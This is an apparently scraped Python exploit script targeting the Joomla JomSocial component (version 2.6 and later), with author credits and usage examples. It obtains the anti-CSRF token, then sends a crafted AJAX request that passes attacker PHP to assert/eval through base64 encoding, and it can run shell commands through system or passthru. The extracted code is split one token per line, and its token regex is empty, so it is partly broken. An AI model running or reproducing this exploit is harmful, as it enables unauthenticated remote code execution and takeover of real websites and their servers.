#!/usr/bin/python
#
# Joomla! JomSocial component >= 2.6 PHP code execution exploit
#
# Authors:
# - Matias Fontanini
# - Gaston Traberg
#
# This exploit allows the execution of PHP code without any prior
# authentication on the Joomla! JomSocial component.
#
# Note that in order to be able to execute PHP code, both the "eval"
# and "assert" functions must be enabled. It is also possible to execute
# arbitrary PHP functions, without using them. Therefore, it is possible
# to execute shell commands using "system", "passthru", etc, as long
# as they are enabled.
#
# Examples:
#
# Execute PHP code:
# ./exploit.py -u http://example.com/index.php -p "echo 'Hello World!';"
# ./exploit.py -u http://example.com/index.php -p /tmp/script_to_execute.php
#
# Execute shell commands(using system()):
# ./exploit.py -u http://example.com/index.php -s "netstat -n"
#
# Exploit shell commands(using a user provided function, passthru in this case)
# ./exploit.py -u http://example.com/joomla/index.php -s "netstat -natp" -c passthru
#
# Exploit execution example:
# $ python exploit.py -u http://example.com/index.php -p 'var_dump("Hello World!");'
# [i] Retrieving cookies and anti-CSRF token... Done
# [+] Executing PHP code...
# string(12) "Hello World!"
import
urllib, urllib2, re, argparse, sys, os
class
Exploit:
token_request_data
=
'option=com_community&view=frontpage'
exploit_request_data
=
'option=community&no_html=1&task=azrul_ajax&func=photos,ajaxUploadAvatar&{0}=1&arg2=["_d_","Event"]&arg3=["_d_","374"]&arg4=["_d_","{1}"]'
json_data
=
'{{"call":["CStringHelper","escape", "{1}","{0}"]}}'
def
__init__(
self
, url, user_agent
=
None
, use_eval
=
True
):
self
.url
=
url
self
._set_user_agent(user_agent)
self
.use_eval
=
use_eval
self
.token_regex
=
re.
compile
(
''
)
self
.cookie,
self
.token
=
self
._retrieve_token()
self
.result_regex
=
re.
compile
(
'method=\\\\"POST\\\\" enctype=\\\\"multipart\\\\/form-data\\\\">
(.*)
'
, re.DOTALL)
self
.command_regex
=
re.
compile
(
'(.*)\\[\\["as","ajax_calls","d",""\\]'
, re.DOTALL)
def
_set_user_agent(
self
, user_agent):
self
.user_agent
=
user_agent
def
_make_opener(
self
, add_cookie
=
True
):
opener
=
urllib2.build_opener()
if
add_cookie:
opener.addheaders.append((
'Cookie'
,
self
.cookie))
opener.addheaders.append((
'Referer'
,
self
.url))
if
self
.user_agent:
opener.addheaders.append((
'User-Agent'
,
self
.user_agent))
return
opener
def
_retrieve_token(
self
):
opener
=
self
._make_opener(
False
)
sys.stdout.write(
'[i] Retrieving cookies and anti-CSRF token... '
)
sys.stdout.flush()
req
=
opener.
open
(
self
.url, Exploit.token_request_data)
data
=
req.read()
token
=
self
.token_regex.findall(data)
if
len
(token) <
1
:
print
'Failed'
raise
Exception(
"Could not retrieve anti-CSRF token"
)
print
'Done'
return
(req.headers[
'Set-Cookie'
], token[
0
])
def
_do_call_function(
self
, function, parameter):
parameter
=
parameter.replace(
'"', '\\"')
json_data = Exploit.json_data.format(function, parameter)
json_data = urllib2.quote(json_data)
data = Exploit.exploit_request_data.format(self.token, json_data)
opener = self._make_opener()
req = opener.open(self.url, data)
if function == 'assert':
return req.read()
elif function in ['system', 'passthru']:
result = self.command_regex.findall(req.read())
if len(result) == 1:
return result[0]
else:
return "[+] Error executing command."
else:
result = self.result_regex.findall(req.read())
if len(result) == 1:
return result[0].replace('\\/', '/').replace('\\"', '"'
).replace(
'\\n'
,
'\n'
)
else
:
return
"[+] Error executing command."
def
call_function(
self
, function, parameter):
if
self
.use_eval:
return
self
.
eval
(
"echo {0}('{1}')"
.
format
(function, parameter))
else
:
return
self
._do_call_function(function, parameter)
def
disabled_functions(
self
):
return
self
.call_function(
"ini_get"
,
"disable_functions"
)
def
test_injection(
self
):
result
=
self
.
eval
(
"echo 'HELLO' . ' - ' . 'WORLD';"
)
if
'HELLO - WORLD'
in
result:
print
"[+] Code injection using eval works"
else
:
print
"[+] Code injection doesn't work. Try executing shell commands."
def
eval
(
self
, code):
if
code [
-
1
] !
=
';'
:
code
=
code
+
';'
return
self
._do_call_function(
'assert'
,
"@exit(@eval(@base64_decode('{0}')));"
.
format
(code.encode(
'base64'
).replace(
'\n'
, '')))
parser
=
argparse.ArgumentParser(
description
=
"JomSocial >= 2.6 - Code execution exploit"
)
parser.add_argument(
'-u'
,
'--url'
,
help
=
'the base URL'
, required
=
True
)
parser.add_argument(
'-p'
,
'--php-code'
,
help
=
'the PHP code to execute. Use \'-\' to read from stdin, or provide a file path to read from'
)
parser.add_argument(
'-s'
,
'--shell-command'
,
help
=
'the shell command to execute'
)
parser.add_argument(
'-c'
,
'--shell-function'
,
help
=
'the PHP function to use when executing shell commands'
, default
=
"system"
)
parser.add_argument(
'-t'
,
'--test'
, action
=
'store_true'
,
help
=
'test the PHP code injection using eval'
, default
=
False
)
parser.add_argument(
'-n'
,
'--no-eval'
, action
=
'store_false'
,
help
=
'don\'t use eval when executing shell commands'
, default
=
True
)
args
=
parser.parse_args()
if
not
args.test
and
not
args.php_code
and
not
args.shell_command:
print
'[-] Need -p, -t or -s to do something...'
exit(
1
)
url
=
args.url
try
:
if
not
url.startswith(
'http://'
)
and
not
url.startswith(
'https://'
):
url
=
'http://'
+
url
exploit
=
Exploit(url, use_eval
=
args.no_eval)
if
args.test:
exploit.test_injection()
elif
args.php_code:
code
=
args.php_code
if
args.php_code
=
=
'-'
:
print
'[i] Enter the code to be executed:'
code
=
sys.stdin.read()
elif
os.path.isfile(code):
try
:
fd
=
open
(code)
code
=
fd.read()
fd.close()
except
Exception:
print
"[-] Error reading the file."
exit(
1
)
print
'[+] Executing PHP code...'
print
exploit.
eval
(code)
elif
args.shell_command:
print
exploit.call_function(args.shell_function, args.shell_command)
except
Exception as ex:
print
'[+] Error: '
+
str
(ex)
0 yorum :